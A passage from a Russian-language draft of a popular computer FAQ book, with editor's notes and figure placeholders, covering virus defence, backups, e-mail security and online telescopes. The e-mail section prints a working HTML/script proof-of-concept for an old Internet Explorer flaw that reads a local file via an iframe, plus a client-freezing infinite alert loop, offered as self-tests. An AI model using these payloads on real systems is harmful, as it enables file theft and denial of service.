Проблема ведь не только в вирусах, – порой не меньшие разрушения приносят вполне легальные, но сильно "кривые" программы. В особенности это касается дисковых и файловых утилит – частенько после их работы все данные, хранящиеся на винчестере, приходят в полную негодность. Даже ведущих производителей гложут смутные сомнения насчет безгрешности своей продукции, и неспроста – та же Symantec с головы до ног оплевана жалобами пользователей, рыдающих над остатками своих жестких дисков. А все потому, что поставили старого "Доктора" на новую версию Windows. Но кто же мог знать?! И даже вполне безобидные на вид приложения, наподобие календаря или организатора, могут так испортить систему, что ее придется переустанавливать заново!

Первая линия обороны "Карантин": В идеале – каждая новая программа должна проходить "карантин" – тщательное тестирование на отдельном, специально для этого предназначенном, компьютере, на котором нет ничего ценного, что было бы жалко потерять. В крайнем случае, если на второй компьютер не хватает средств, для карантина подойдет и отдельный жесткий диск (можно небольшого размера) – необходимо лишь подключить его так, чтобы программы, запущенные на нем, не "видели" основного диска и при всем своем желании не могли до него "дотянуться".

Этого можно добиться, подцепив "карантинный" диск на отдельный шлейф к "своему" контроллеру IDE. Большинство BIOS позволяют выборочно отключать IDE-контроллеры. "Ответственный" за такую операцию пункт обычно звучит как "Onboard IDE" (интегрированный в материнскую плату IDE) и предлагает на выбор: "Primary" (включен только первый контроллер, разъем которого обычно помечен IDE-0), "Secondary" (включен только второй контроллер – IDE-1), "Both" (включены оба контроллера, - состояние по умолчанию) и "Disabled" (выключены оба контроллера). При отключении первого контроллера, скорее всего, потребуется "научить" BIOS загружаться со второго (не все это умеют делать по умолчанию). Для этого найдите в настройках строку наподобие "Boot device" (загрузочное устройство) и установить ее в "Boot from IDE-1" (Загружаться с IDE-1) или "Boot form secondary IDE". (Загружаться со второго IDE).


Если нет возможности купить даже самый захудалый винчестер, остается тестировать программы на "кошках", - ваших приятелях, устанавливая на свой компьютер только проверенные на чужой шкуре приложения.

"Карантин" сам по себе никаких гарантий не дает и не всегда предотвращает вторжение вирусов, но многократно снижает вероятность любых неприятных происшествий. Если этого недостаточно, второй линией обороны следует расположить антивирусы.

Вторая линия обороны "Антивирусы": Грубо все антивирусы можно разделить на три категории – детекторы (+фаги), мониторы

и ревизоры.

Детекторы

занимаются поиском известных им вирусов в файлах, загрузочных секторах, памяти и т.д., а фаги лечат то, что находят детекторы; мониторы – обнаруживают и по возможности предотвращают некоторые потенциально опасные – с их точки зрения – действия; ревизоры

периодически проверяют файлы на предмет появления любых изменений.

Всем антивирусам присущи определенные недостатки: детекторы не в состоянии обнаруживать новую или видоизмененную заразу – интеллект эвристических анализаторов на сегодняшний день уступает интеллекту вирусописателей, и на эвристике ловятся только самые примитивные вирусы, написанные школьниками, только-только постигающими азы программирования (см. "Подари врагу антивирус!"). Еще проще для вирусописателя перехитрить мониторы, которые, кстати, совершенно бессмысленны в "нормальных" операционных системах наподобие Windows 2000, самостоятельно пресекающих все противоправные действия программного обеспечения. Ревизоры же вообще не препятствуют жизнедеятельности вирусов, а всего лишь позволяют обнаружить их распространение – заражая файл, вирус неизбежно вносит в него изменения, демаскируя свое присутствие в системе. Однако, не размножающиеся зловредные программы, скажем клавиатурные шпионы или "добытчики" паролей (см. "Как предотвратить похищение моего Интернет пароля?#Похищение"), ревизор обнаружить не сможет! К тому же, ревизоры очень плохо справляются с контролем документов – средой обитания макровирусов. Ведь документы, в отличие от исполняемых файлов, интенсивно изменяются пользователем! Попробуй, тут разберись – то ли вирус их заразил, то ли пользователь отредактировал!



Переход на Windows 2000 (см. " В чем преимущества Windows 2000 по сравнению с 9x?") позволяет одним махом решить множество проблем. Во-первых, в силу отличий Windows 2000 от Windows 9x, большинство вирусов и троянских программ под ней просто "не живет", во-вторых, она позволяет защищать критические файлы, запрещая их удаление и модификацию, в-третьих, ее файловая система – NTFS – практически не поддается разрушению – разве что все с самим винчестером; в-четвертых… но, несмотря на всю защищенность, с Windows 2000 прекрасно уживаются макровирусы, поскольку средой их обитания является не операционная система, а само приложение, обрабатывающее документ.

Макровирусы: документы "дырявого" Microsoft Office давно стали стандартом де-факто и отказаться от их использования уже невозможно. Проблема усугубляется тем, что подавляющее большинство пользователей игнорирует рекомендации распространять файлы в форматах, гарантированно не содержащих макросов (например RTF), чем ставит своих получателей в тупик. Например, как быть, если Big-Boss прислал свой ответ в формате Word? Просить его сохранить файл как RTF и повторить пересылку? Сомнительно, чтобы Big-Boss получил от всего этого удовольствие, если ему вообще удастся объяснить что такое RTF.

Уменьшить риск вторжения макровирусов можно запрещением модификации файлов Normal.dot и eefonts.dot (последний – только для Word 2000) – эти файлы излюбленное место обитания макровирусов. Перед установкой защиты рекомендуется на всякий случай удалить Normal.dot, - работоспособность Word-а это не нарушит, – он вновь воссоздаст его при следующем запуске, а вот зараза (если Normal.dot был заражен) будет удалена гарантированно! Правда, вместе с ней погибнут и все личные настройки, например, переопределенные комбинации клавиш, пользовательские стили и т.д. Но в большинстве случаев их можно быстро определить вновь!

Существует один замечательный способ гарантированно (ну, почти, гарантированно) избежать заражения – достаточно лишь открыть документ приложением, заведомо не поддерживающим макросы. Например, редактор "WordPad", входящий в штатную поставку Windows, корректно отображает большинство Word-документов, игнорируя при этом макросы. А утилита "Быстрый просмотр" (также поставляется вместе с Windows, но не устанавливается по умолчанию) позволяет просматривать файлы, созданные и Word, и Excel, и многими другими приложениями, не рискуя подцепить заразу! Чтобы открыть с ее помощью документ, просто щелкните по нему правой кнопкой мыша, выбрав в контекстном меню пункт "Быстрый просмотр". Если такого пункта нет, в "Панели управления" кликните по значку "Установка и удаление программ", перейдите к закладке "Установка Windows", выберите "Стандартные", войдите в них через "Состав" и установите галочку напротив "Быстрый просмотр".



Как и следует из его названия, "Быстрый просмотр" предназначен только для просмотра, но не редактирования документов. А как же быть, если файл требуется не только смотреть, но и работать с ним? На помощь приходит буфер обмена – "выделяем все", создаем новый документ в соответствующем приложении и копируем в него содержимое оригинального документа, автоматически оставляя макросы "за бортом"! Не очень-то удобно, но более короткого пути, по-видимому, не существует.

Всей этой суеты не потребовалось, умей бы Office запрещать выполнение макросов в документах. Вообще-то, такая опция там есть, но срабатывает она далеко не всегда. Злоумышленник может создать макрос, который защита не увидит! В Office 2000 ситуация значительно улучшена, но не все исправлено до конца, к тому же Microsoft так и не сообщает какие именно дыры заткнуты.

Особо стоить отметить ошибки переполнения – не вдаваясь в технические подробности {>>>> сноска Подробнее об ошибках переполнения рассказывается в книге Криса Касперски "Техника сетевых атак"} образно их можно представить так: программист отводит для некоторых целей буфер, а затем заполняет его данными, не проверяя влезают ли они в него или нет. Рано или поздно данные действительно не влезают и затирают память за концом буфера. Очень часто при этом искажаются служебные структуры, например, сохраненный адрес возврата, регистр кадра стека и т.д. Специально подобранной строкой данных злоумышленник может так исказить адрес возврата, чтобы процессор начал выполнять данные, введенные злоумышленником, как код! Теоретически возможно подхватить вирус простым чтением текстового файла! Это не миф параноика, а суровая действительность нашей жизни. Яркий пример – ошибка почтовой программы Outlook Express 5.5 позволяет заразиться еще на стадии приема сообщения с сервера, - задолго до того, как присланное вас письмо успеют проверить антивирусы!

???? Рисунок "карикатура" человек льет в чайник воду из ведра. Вода выливается из носика и обливает человека.



???? Рисунок "карикатура" человек открывает письмо, а оттуда выглядывает (выпрыгивает) злобный вирус

Для устранения ошибок фирмы-производители периодически выпускают "заплатки", выкладывая их на собственный web-сервер. Настоятельно рекомендуется своевременно скачивать и устанавливать их! Чтобы быть постоянно в курсе событий подпишитесь на какую-нибудь рассылку по безопасности (см. "Где можно узнать о самых свежих дырках и последних обновлениях приложений?")

Третья линия обороны – резервное копирование. Им не следует пренебрегать никогда. Вложения в накопители и носители информации, может быть, не окупаются явно, но сводят к минимуму убытки от "стихийных бедствий" – будь то вирус или физическое разрушение винчестера. (Кстати, кража компьютера также приводит к потере информации, и, чтобы вместе с компьютером не утащили резервные копии, следует хранить их отдельно; по крайней мере, диск с самыми ценными наработками должен находиться в недосягаемом для грабителей месте – например, его можно сдать в банк или надежному приятелю).

Политика резервирования – дело сугубо индивидуальное, например, автор резервируется каждый день. Но, в любом случае, это следует делать не реже, чем раз в неделю. При этом ни в коем случае недопустимо замещать старые файлы новыми! Никогда нельзя быть уверенным наверняка, что резервируемая информация уже

не искажена! Допустим, вы набираете реферат и периодически "сбрасываете" его на дискету, записывая поверх прежней копии. Предположим, в какой-то момент файл поражается вирусом, произвольным образом переставляющим слова в тексте или "съедающим" некоторые буквы. Если это не будет замечено сразу (а, чем длиннее документ, тем труднее обнаружить его искажение), в архив попадет испорченная копия, а оригинальная будет утеряна.

В идеальном случае старые копии должны уничтожаться только после завершения проекта (Например, после того как написан реферат, все промежуточные наработки могут быть безболезненно удалены). Однако на практике обходятся гораздо меньшим числом копий, надеясь, что разрушения информации (если таковые будет иметь место) удастся заметить раньше, чем будет затерт последний неискаженный файл. В большинстве случаев (но не всегда!) эти надежды оправдываются. С другой стороны, какой смысл хранить очень древнюю версию документа, если с тех пор он был значительно переработан и изменен?

Следование всем приведенным выше рекомендациям обеспечивает практически полную неуязвимость ваших данных, оберегая их от всех мыслимых и немыслимых бедствий (ну, пожалуй, за исключением землетрясений, наводнений и цунами).

Краткое повторение основных мыслей главы: поставьте себе Windows 2000 и регулярно устанавливайте все обновления и заплатки; испытывайте все новые программы на "карантинном" жестком диске (компьютере); для открытия документов пользуйтесь утилитой "Быстрый просмотр" или аналогичной ей; наконец, никогда не забывайте о пользе резервирования.

Родственные вопросы:

Подари врагу антивирус!

Как предотвратить похищение моего Интернет пароля?#Похищение

В чем преимущества Windows 2000 по сравнению с 9x?

Где можно узнать о самых свежих дырках и последних обновлениях приложений?


A:Небезопасность электронной почты


Электронная почта – неотъемлемая часть современного документооборота. Несомненные преимущества – быстрота доставки и дешевизна эксплуатации дают ей неоспоримые преимущества перед обычной, - "улиточной", – почтой. В то же время электронная почта ощутимо уступает бумажной в отношении безопасности.

Почерк (если только письмо не было напечатано на машинке) позволяет с высокой точностью идентифицировать отправителя, а штемпель служит надежным индикатором целости сообщения. Ничего этого нет в электронной почте – электронные письма подвержены угрозе

а) перехвата;

б) модификации;

в) фальсификации адреса отправителя.

Угроза перехвата: Глобальные и локальные сети общего назначения принципиально не способны противостоять перехвату трафика в пределах одного сегмента, а внедрение ложных ARP- и DNS-серверов позволяет осуществить и межсегментный перехват. Объяснение причин такой уязвимости потребовало бы очень много места и поэтому здесь не приводится. Этой теме и без того посвящено множество публикаций, в том числе книги "Атака на Internet" Ильи Медведовского и "Техника сетевых атак" Криса Касперски.

Даже без установки дополнительного оборудования техническая возможность "подслушать" любого абонента сети существует как у спецслужб, так и Васи Пупкина, снабженного лишь модемом и минимальныйм

уровнем знаний.

Естественным выходом из ситуации становится шифрование всех или, по крайней мере, конфиденциальных сообщений. Несимметричные криптоалгоритмы

используют для шифровки и расшифровки текста два различных, никак не связанных между собой ключа: публичный и секретный. Секретный ключ никогда не передается по сети и теоретически недосягаем злоумышленнику.

Однако несимметричная криптография с одной парой ключей имеет тот существенный для почтовых сообщений недостаток, что принципиально неспособна гарантировать аутентичность отправителя сообщения: любой, кому вздумается, может зашифровать публичным ключом свое письмо и отправить его от чужого имени. (Вообще-то, грамотно подделать заголовок письма ничуть не легче чем сымитировать чей-то почерк, но кто станет пристально анализировать заголовок, если письмо выглядит достоверным и не внушает серьезных подозрений?)


Цифровая подпись путем использования двух пар публичных и секретных ключей теоретически обеспечивает:

а) поверку подлинности сообщения;

б) гарантию целостности сообщения;

в) неотрицание авторства сообщения.

Практически же, неотрицание авторства никогда не срабатывает, - всегда есть возможность сослаться на утерю секретного ключа, после которой поставить цифровую подпись мог кто угодно. А может ли секретный ключ быть похищен без ведома его владельца?

Существуют два способа хранения секретных ключей – в файле или неком аппаратно-биологическом комплексе, подключенном к компьютеру. (Человек, вводящий пароль с клавиатуры, относится ко второму типу).

В первом случае для похищения ключа злоумышленнику достаточно получить доступ к локальным файлам жертвы, а во втором – заслать на атакуемый компьютер программу-шпиона, отслеживающую обмен с ключевым устройством (например, перехватывающего ввод с клавиатуры). Если это удастся – шифр падет! Таким образом, незащищенность секретного ключа сводит на нет надежность всех криптографических систем!

Простейший способ внедрить шпиона – послать его вместе с письмом в надежде, что жертва "лопухнется" и запустит исполняемый файл. (см. "Какие почтовые вложения безопасны?") А если не запустит? Находится ли в безопасности пользователь, который не открывает никаких потенциально опасных вложений, в том числе и документов Word, могущих содержать вредоносные макросы? Нет! И причиной тому служат вездесущие программные ошибки реализации, присутствующие буквально во всех почтовых системах. Дабы не быть голословным приведу несколько конкретных примеров.

Больше всего проблем связано с HTML-форматом писем: высокая сложность браузеров, вынужденных поддерживать множество всевозможных форм и кучу скриптовых языков, приводит к взаимным конфликтам и противоречиям. Например, поддержка плавающих форм в Internet Explorer 5.01 (и в некоторых других версиях) реализована с ошибкой. Событие “NavigateComplete2”, извещающие о завершении переселения документа на новое местоположение, позволяет получить доступ к этому документу, даже если он расположен на локальном диске клиента, чего по идеологии виртуальной Java-машины произойти ни в коем случае не должно! (Но, все ж таки происходит).



Хотите выяснить защищены ли вы от подобных посягательств? Тогда проведите следующий эксперимент: сначала создайте в корневом каталоге диска "C:" файл, "test.txt", который и послужит объектом нападения. Запишите в него какую-нибудь фразу, например "Hello, Sailor!" (во избежание проблем с кодировками кириллицу лучше не использовать). Затем запустите "Outlock Express 5.х" и, создав новое сообщение в формате HTML (именно такой формат и установлен по умолчанию), в меню "Вид" установите галочку "Изменение источника" и, щелкнув по появившейся в левом нижнем углу закладке "Источник", вставьте в начало документа следующий текст: "<SCRIPT> z=window.open("http://kpnc.lib.ru/iframe.htm"); </SCRIPT>", где "http://kpnc.lib.ru/iframe.htm" – путь к HTML-файлу следующего содержания:

<SCRIPT>

z=window.open("file://C:/iframe.htm");

</SCRIPT>

<IFRAME ID="Z"></IFRAME>

<SCRIPT for=Z event="NavigateComplete2(x)">

alert(x.document.body.innerText);

</SCRIPT>

<SCRIPT>

Z.navigate("file://c:/test.txt");

</SCRIPT>

Отправьте письмо самому себе и, если у вас установлена операционная система Windows 2000 в конфигурации по умолчанию или Windows 98/NT c обновленным Internet Explorer 5.x, при попытке просмотра полученного сообщения появится диалоговое окно, демонстрирующее содержимое тестового файла. Заменив вызов "alert" на процедуру пересылки информации по сети, злоумышленник сможет похитить у вас любой файл, в том числе и секретный ключ!

Описанная выше ошибка – не единственная в своем роде: не проходит и дня (!), чтобы в существующем программном обеспечении не открылся очередной лаз. Подпишитесь на рассылку "Ученого кота" (http://www.security.nnov.ru), чтобы постоянно получать свежую информацию о проблемах безопасности и ссылки на "горячие" заплатки производителей. Если этого не сделаете вы, – это сделает злоумышленник и, используя вашу неосведомленность, пролезет в одну из незаткнутых дыр, захватив контроль над системой (см. "Где можно узнать о самых свежих дырках и последних обновлениях приложений?", "Что такое заплатки и как их устанавливать?")



Все это наводит на грустные размышления и пессимистичные выводы, – никакие меры предосторожности и комплексы защитных средств не могут гарантированно защитить, и в лучшем случае лишь снижают вероятность успешной атаки, но не исключают ее возможность полностью.

Потом, все защиты удивительно терпимо относятся к всевозможным зацикливаниям и пожираниям системных ресурсов. Например, пошлите сами себе HTML-сообщение, содержащее следующий код – "<SCRIPT> while (1) {alert("Haste La Vista!");}</SCRIPT>". Попытка его просмотра намертво блокирует почтового клиента зацикленным модальным диалогом, и даже удалить вредоносное сообщение окажется невозможно! В качестве альтернативного варианта можно создавать в бесконечном цикле множество окон размером миллион на миллион пикселей, которые с исчезающей быстротой сожрут все ресурсы системы! Выйти из ситуации можно лишь отключением поддержки Java, но всякий ли пользователь знает как ее отключить? (для информации – отключать виртуальную машину Java следует в настройке уровней безопасности браузера). А вызов системного администратора – время, которое стоит вполне осязаемых денег.

Как, если не обезопасить себя, то хотя бы усложнить жизнь злоумышленнику? Попробуйте придерживаться следующих советов – всегда (!) шифруйте свою корреспонденцию, заверяя ее электронной подписью, даже если она не содержит ничего конфиденциального. Иначе злоумышленник сможет послать от вашего имени незашифрованное сообщение, которое получатель примет за подлинное. Напротив, если вы всегда шифруете свои послания, подлинность письма, посланного открытым текстом, вызовет сомнения у получателя и побудит его связаться с вами в попытке прояснить ситуацию.

Виртуальную машину Java в почтовом клиенте настоятельно рекомендуется отключить – ни к чему она там, а еще лучше совсем отказаться от просмотра сообщений, присланных в HTML-формате. Если же это невозможно (а обычно это невозможно) – внимательно относитесь к обновлению приложений, и оперативно устанавливайте свежие исправления.



Стремитесь не использовать новые версии: поначалу в них всегда обнаруживается множество ошибок. Нет, вовсе не значит, что продукты одно-двух годичной давности защищены лучше, но злоумышленники склонны сосредотачивать свои усилия именно на новинках, а анализировать старые версии – занятие неблагородное и бесперспективное: у кого они сейчас установлены? Разумеется, если начнется массовая миграция пользователей на ранние версии, ситуация измениться на противоположную, и использование новых версий окажется более предпочтительным.

Категорически не рекомендуется давать секретным файлам предсказуемые имена и устанавливать утилиты шифрования в каталоги по умолчанию! Не забывайте о постоянной смене паролей и внимательно относитесь к уничтожению старых ключей – простое удаление файла небезопасно (например, Windows NT позволяет злоумышленнику получить доступ к содержимому чужых мусорных корзин – а хакеры никогда не брезговали лазить по мусоркам и помойкам).

Не забывайте и об угрозе, исходящей от антивирусов: так, например, в ноябре 1999 года была обнаружена серьезная уязвимость в SMTP-шлюзе "Interscan VirusWall 3.2x", работающего под управлением Windows NT. Программное обеспечение, предназначенное для защиты от вирусов с оптимистичным названием "Вирусная преграда", оказалось способным принести своим обладателям значительно больший ущерб, чем тот, что доставляет типичный вирус. Бездумная установка средств защиты приводит не к усилению, а ослаблению безопасности компьютера.

Родственные вопросы:

Какие почтовые вложения безопасны?

Где можно узнать о самых свежих дырках и последних обновлениях приложений

Что такое заплатки и как их устанавливать?


A:Необычные живые камеры


Сейчас, вероятно никто уже и не помнит, когда в Сети появились первые живые камеры. Идея, лежащая в их основе, проста до безобразия: стоит где-то обычная цифровая камера, периодически делает снимки и автоматически выкладывает их на сайт. Технически ничего сложного, но зато какой эффект! Это же просто чудо, что можно, не вставая со своего любимого кресла, за мгновения ока перенестись на многие тысячи километров, и посмотреть каков там мир на том конце земли! Вот горах Алтая опять идет снег, во Флориде по обыкновению солнечно и многолюдно, а в Москве уже стемнело и потоки машин украшают улицы удивительно красивыми цепочками огней…

Но постепенно все это надоедает, и былой восторг проходит. Мир становится меньше, но вместе с тем и скучнее… Всюду все одно и то же – одинаковые горы, одинаковые города, одинаковые люди с одинаковыми лицами. Между тем, среди этой серой толпы "мертвых живых камер" есть немало изюминок, к которым, сколько их не смотри, тянет обратиться вновь и вновь.

Одним из самых интересных объектов наблюдения оказалось наше дневное светило. Этот ослепительно белый диск живет интересной и весьма активной жизнью. То и дело на нем происходят вспышки, – своеобразные взрывы, обгоняющие ничуть не уступающие в энерговыделении миллионымиллионам

атомных бомб, и одновременно с этим порождающие мощнейшие электромагнитные импульсы, устремляющиеся к Земле. Если бы мы могли видеть Солнце в радиодиапазоне, оно бы никому не показалось спокойным, а напротив, шумящим, трещащим и хрюкающим на все лады существом. Иные "хрюки" бывают так сильны, что перекрикивают земные радиостанции и создают наведенные токи в электронной радиоаппаратуре, отчего та начинает работать нестабильно или вообще отказывается работать, и выходит из строя!

Даже в видимом свете, поверхность Солнца не остается абсолютно белой, - местами ее украшают округлые черные точки разного размера, на языке астрономов называемые солнечными пятнами. Чернота пятен обманчива, на самом деле они лишь немногим холоднее окружающей поверхности и раскалены до четырех-пяти тысяч градусов, что значительно больше выше температуры нити накаливания обычной лампочки!


Да и сама поверхность Солнца представляет не застывшую гладь тихого озера, а скорее похожа на кипящую рисовую кашу, бурлящую восходящими и опускающимися конвектными потоками. Только вместо пара, окутывающего кашу, наше светило изрыгает огромные фонтаны солнечного вещества, называемые протуберанцами. Чаще всего силы гравитации не отпускают пленников на свободу, и взлетающий поток по крутой дуге с невообразимым шумом и грохотом падает обратно на Солнце. Но иногда скорость броска бывает так велика, что протуберанец, преодолев притяжение, устремляется в космическое пространство. Не стоит волноваться, – когда он достигнет орбиты Земли, его вещество окажется настолько разряжено, что не причинит нам никакого вреда.

Ну, практически никакого… Ведь биосфера Земли (включая человека) находится в тесной связи с активными процессами, протекающими на Солнце. Некоторые люди из-за них могут испытывать приступы недомогания, повышенной раздражительности, нервозности, утомляемости, в результате чего повышается вероятность аварий и ошибок операторов. Словом, быть в курсе событий нашего светила, отнюдь не излишество, а скорее насущная потребность. Да вот только как эти самые события узнать? По телевидению иногда передают, дескать, готовитесь граждане, на Солнце магнитные бури, типа "Мамай идет", но такие сообщения поступают крайне нерегулярно и не отражают всей полноты ситуации. (Кстати, медики и биологи установили, что наибольшее проявление на организм вспышки оказывают только на пятый и двадцатый день после их возникновения, а вовсе не через те восемь минут, когда магнитные поля достигнут Земли).

К счастью, в Сети есть специальные «живые» камеры, патрулирующие Солнце. Лучше всех, на мой взгляд, с этим справляется космический спутник SOHO, – детище NASA и ESA. Увидеть свежие результаты его работы можно на сайте http://sohowww.nascom.nasa.gov/. Без лишних вопросов и надоедливых баннеров он покажет свежие фотографии Солнца и даже анимированные изображения в формате mpg!



Рисунок 37 ????? Рисунок художнику – выбрать с указанного сервера наиболее подходящие по полиграфическим требованиям изображения



Рисунок 38 Рис _analemma  Годичный путь Солнца по небу. (с) Лихачев В.Л.

Среди наземных обсерваторий лучший солнечный сайт, на мой взгляд, имеет обсерватория, расположенная на Медвежьих {"О" с большой буквы >>>}Озерах. Здесь, вдали от больших промышленных городов США, небо круглый год остается удивительно чистым и прозрачным, что и создает благоприятную среду для наблюдений за нашим светилом. Свежие снимки Солнца, вкупе со сведениями о солнечной активности, можно найти по следующему адресу: http://www.bbso.njit.edu/cgi-bin/LatestImages

Рисунок 39 ????? Рисунок художнику – выбрать с указанного сервера наиболее подходящие по полиграфическим требованиям изображения

Когда же Солнце заходит, на небе с наступлением темноты появляются тысячи звезд, притягивающих взор. К сожалению, горожане лишены этой прекрасной картины природы. А ведь какой-то десяток-другой лет назад большинство людей знали, как выглядит Млечный Путь, умели находить сбившуюся в тесную кучку семерку звезд – Плеяды, а самые эрудированные даже могли отыскать ближайшую к нам галактику – "Туманность Андромеды" и огромное облако светящегося газа – "Туманность Ориона".

Рисунок 40 ??? Рис _MilkyWay – Млечный путь

Рисунок 41 ??? Рис M31 Туманность Андромеды

Рисунок 42 ??? Рис _m42 Туманность Ориона

{РАСТЯНУТЬ ЧУТЬ-ЧУТЬ Туманность АНДРОМЕРЫ и чуть обрезать по вертикали с двух сторон Ориона, что бы они сравнялись в размере, а то – некрасиво}

Каждый наверняка видел фотографии этих знаменитых объектов, снятых крупнейшими телескопами. Но фотография это одно, а увидеть их своими глазами – совсем другое! Все компьютерные планетарии в той или иной степени позволяют удовлетворить это желание, но звезды, нарисованные на экране монитора, не идет ни в какое сравнение с "живым" созерцанием окружающей нас Вселенной. К сожалению, не каждому из нас дано хотя бы раз в жизни хотя бы одним глазком заглянуть в настоящий телескоп!



Впрочем, посетив современную обсерваторию, читатель возможно будет очень удивлен, узнав, что в крупнейшие телескопы сегодня никто и не смотрит. Уже в начале века глаз повсеместно заменила фотопластинка, в разы превосходящая его по чувствительности, а затем фотопластинка уступила место ПЗС - матрице, подсоединенной к компьютеру.

Однажды, кому-то в голову пришла блестящая мысль, а что если подсоединить систему управления телескопом к сети Интернет и позволить всем пользователям от мала до велика распоряжаться таким телескопом по своему усмотрению? Идея была подхвачена многими обсерваториями, и вскоре в сети появился новый вид услуг – бесплатный цифровой телескоп, снимающий любой участок неба по вашему требованию, – в принципе все та же "живая камера", но довольно необычная.

Сначала доступ предоставили только к игрушечным телескопам, которые с трудом тягались даже с морским биноклем, но сегодня ситуация изменилась…

Самую живописную изо всех возвышенностей торфяных болот Западного Йокшира (Англия) оккупировала Брадфордовская астрономическая обсерватория. Один из ее инструментов, 460-мм автоматизированный телескоп, отдан на растерзание любителям астрономии, да и всем тем, кто не прочь на мгновение забыть о земной суете и взглянуть на небо, окружающее нас. Достаточно набрать в браузере http://www.telescope.org/rti/index.html, зарегистрироваться на сайте и можно отправлять свои собственные заявки, которые по мере "социалистической очереди" и погодных условий будут переданы телескопу на выполнение.

Конечно, снимки, полученные этим телескопом, не идут ни в какое сравнение с высококачественными фотографами NASA, но ведь и обычные "живые камеры" сильно грешат качеством, но это ничуть не уменьшает их популярности.

Жаль только, что дождливый английский климат и обложная облачность постоянно оттягивают волнующий миг наблюдений на неопределенный срок. Вот, скажем в Санта-Барбаре, климат куда лучше. Кстати, мало кто знает, что на окраинах этого знаменитого города расположена одна астрономическая обсерватория, 356 мм телескоп которой доступен для управления через Интернет. Понятно, чем меньше диаметр телескопа, тем меньше света он соберет, и тем менее впечатляющие изображения будут получены. Да, 356 заметно меньше чем 460, но зато небо над телескопом Санта-Барбары практически всегда чистое и безоблачное, чего нельзя сказать об его английском коллеге, поэтому и работать с ним одно удовольствие – стоит только перейти по адресу http://www.deepspace.ucsb.edu/… Однако, таких желающих как вы временами набегает очень много и телескоп оказывается сильно перегружен.



Тогда ничего не остается делать, как воспользоваться услугами какой-нибудь богом забытой обсерватории, на которую если кто и забредет, так и то по ошибке. Например, 180 мм студенческий телескоп университета штата Айова (http://denali.physics.uiowa.edu/) свободен все сутки напролет, но, несмотря на свой скромный размер, способен порадовать наблюдателей достаточно впечатляющими снимками.

Например, если навести его на Юпитер, – на диске этой планеты удастся заметить огромное множество разнообразных деталей, - в основном облачных образований, переплетающихся меж собой самым причудливым образом. И совсем нетрудно будет различить знаменитое Красное Пятно – огромный циклон на Юпитере, существующий уже на протяжении сотен земных лет и все никак не "рассасывающийся". На снимках, напечатанных в популярных книжках, это пятно кажется неживым, заставшим и неподвижным. Между тем оно достаточно быстро вращается и постоянно меняет свой облик. Хотите все это увидеть своими глазами? Посетите любой вышеназванный телескоп или выберете какой-нибудь другой, по своему вкусу. В этом поможет любой поисковик, стоит только ему отдать запрос "телескопы+управляемые+Internet" или что-то в этом роде.

Конечно, изображения на экране компьютера сильно уступают "живой" действительности, – самостоятельным наблюдениям в бинокль или телескоп, но зато оставляют позади все "мертвые" фотографии, поскольку телескопы, управляемые через Интернет, показывают выбранный вами объект таким, каким он выглядит сейчас, вы так же вольны варьировать время экспозиции, используемые светофильтры и некоторые другие параметры, понятные лишь посвященным. Если на мгновение забыть о том, где находится Санта-Барбара, то можно вообразить, что вы снимаете небо своей любимой цифровой мыльницей, а потом рассматриваете полученный снимок на экране компьютера. Вы

Теперь вы не пассивный зритель, восторгающийся чужой фотографией, сделанной безо всякого участия с вашей стороны, а сам фотограф, творящий все, что ему заблагорассудится.



>>>>>Врезка 1:

Раз уж речь зашла про цифровые камеры, то

давайте вспомним ту

рекламу, где

описываютсяописывающую

преимущества камеры с увеличением в четыреста и более раз. Так знайте: вам вешают лапшу на уши. Такого увеличения просто не может быть, ибо есть такая штука как фундаментальные физические законы, которым никакая реклама не указ.

Если углубиться в теорию оптики, можно узнать, что предельное увеличение, которое может давать идеальный объектив равно его диаметру, выраженному в миллиметрах. Причина заключается в дифракции света (нет, не подумайте, это не ругательство, это термин такой), которая приводит к тому, что любая точка выглядит в объектив не точкой, а системой концентрических окружностей, основная доля света в которой приходится на центральную часть, именуемую у оптиков кружком Эри. Так, вот, при увеличении равному диаметру объектива в миллиметрах, у двух соседних точек кружки Эри соприкасаются друг с другом. Дальнейшее увеличение ведет к их перекрытию. Впрочем, два кружка, перекрывающиеся не более чем на 70% все же различимы, поэтому, самое крайнее разумное увеличение равно 1.7 диаметров объектива, в противном случае – соседние точки сливаются, и дальнейший рост увеличения не добавляет никаких новых деталей.

Отсюда вытекает, чтобы камера давала четырехсот кратное увеличение, диаметр ее объектива должен быть, по крайней мере, 20 – 30 см. Тогда, это не камера получится, а самый настоящий телескоп, причем солидных размеров!

Действительно, если "клюнуть" на рекламу и приобрести такую камеру можно убедиться, что полученные ею изображения состоят не из точек, а… квадратиков!

>>>>>Врезка 2:

Прежде чем, приступать к наблюдениям, недурно бы сперва выбрать сам объект наблюдений. Большинство из нас смутно помнит, что где-то там, на небе находятся планеты – Марс, Юпитер, Сатурн, шумной компанией вращается множество астероидов, а иногда пролетают такие экзотические объекты, как кометы. Но где все они находятся в какой-то конкретный момент времени? Т.е. каковы их астрономические координаты, которые и ждет от вас телескоп?

Узнать это помогут астрономические сайты, например, www.astronomy.ru, в котором все такие сведения расположены за ссылкой "календарь", а в разделе новостей сообщается обо всех интересных событиях, происходящих на небе.

Родственные вопросы:

Поймай мечту за хвост!


A:Perl – за и против


Язык Perl используется миллионами людей по всему миру. В чем секрет его притягательности? Уж, конечно, не в бесплатности - бесплатных реализаций других языков – пруд пруди, но почему-то выбирают именно Perl; не в легкости освоения – Бейскик или Питон освоить не в пример проще; не в переносимости – у Perl-а с нею далеко не безоблачно; наконец, было бы откровенным хвастовством говорить о необычной мощности языка – Perl заметно слабее Лиспа, Модулы, Оберона и обгоняет только такие языки как Си и Паскаль. Так в чем же все-таки дело?



A:Силки для клиента или 7 таинств мистерий


Бизнес честным не бывает. Понятия "справедливости" в нем не существует. Сумма денег (пренебрегая инфляцией) величина постоянная и единственный способ заработать – отнять у других.

Конечная цель любого бизнесмена – заставить клиента расстаться с деньгами, а конкурента – с клиентами. Неприкрытый грабеж встречается достаточно редко (цивилизация мы или нет?), но хитрость и обман – сплошь и рядом.



A: Симулятор от… NASA


